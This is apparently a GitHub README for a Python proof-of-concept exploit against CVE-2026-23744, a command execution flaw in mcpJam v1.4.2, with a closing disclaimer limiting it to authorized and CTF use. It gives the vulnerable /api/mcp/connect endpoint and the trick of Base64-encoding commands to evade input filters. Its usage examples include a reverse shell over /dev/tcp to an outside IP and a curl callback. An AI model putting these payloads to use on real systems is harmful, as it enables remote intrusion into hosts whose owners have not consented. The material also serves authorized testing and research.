keeieb79/cve-2026-23744-poccve-2026-23744 python exploit
A Python 3 proof-of-concept exploit for CVE-2026-23744, an arbitrary command execution vulnerability affecting mcpJam v1.4.2.
This utility automates payload delivery by transparently Base64-encoding commands before transmission, helping bypass restrictive input validation and character filtering mechanisms. The payload is decoded and executed through a /bin/bash wrapper on the target system.
Commands are automatically encoded prior to transmission, improving reliability when targeting applications that enforce strict input validation or character restrictions.
Supports arbitrary command execution, including:
sh, bash, nc, etc.)Displays:
This simplifies troubleshooting and exploit validation.
Suppresses certificate verification warnings, allowing interaction with targets using self-signed or otherwise untrusted SSL certificates.
Install the required dependency:
pip install requests
python3 exploit.py <target_url> "<command>"
python3 exploit.py http://devhub.com:6274 "curl http://10.10.14.70:8888"
python3 exploit.py http://devhub.com:6274 "sh -i >& /dev/tcp/10.10.14.70/4444 0>&1"
The exploit targets the /api/mcp/connect endpoint by crafting a malicious serverConfig object.
Instead of transmitting commands directly, the payload is transformed into a Base64-encoded string and executed through Bash:
"args": [
"-c",
f"echo {base64_payload} | base64 -d | bash"
]
This approach helps evade application-level filtering while ensuring the payload is decoded and executed entirely on the target host.
serverConfig request.base64 -d./bin/bash.[!WARNING] This project is provided solely for educational purposes, authorized security assessments, and Capture The Flag (CTF) environments.
Unauthorized use against systems for which you do not have explicit permission is illegal and unethical. The author assumes no responsibility for any misuse, damages, or legal consequences resulting from the use of this software.